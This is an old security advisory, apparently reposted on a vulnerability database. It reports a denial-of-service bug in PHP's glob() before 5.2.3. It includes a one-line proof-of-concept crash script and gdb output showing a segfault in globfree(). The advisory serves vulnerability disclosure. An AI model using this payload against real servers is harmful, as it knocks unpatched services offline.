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securityvulnsSecurityvulnsSECURITYVULNS:DOC:17938
HistorySep 06, 2007 - 12:00 a.m.

PHP < 5.2.3 glob() denial of service

2007-09-0600:00:00
vulners.com
36

Application: PHP < 5.2.3
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: glob()
special condition:default php memory-limit value

1) Introduction
2) Bug
3) Proof of concept
4) greets
5) Credits

1) Introduction

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug

glob() is vulnerable to a denial of service

=====
3)Proof of concept

Proof of concept example :
<?php
glob(str_repeat("A", 9638013));
?>

result:
(gdb) run ./3.php

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215031616 (LWP 11156)]
0xb79d3a5a in globfree () from /lib/tls/i686/cmov/libc.so.6

========
4)Greets

Ivanlef0u,Deimos,benji,soh
,and everyones on worldnet: #futurezone &
#nibbles

=====
5)Credits

Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
stay tuned, site comming soon …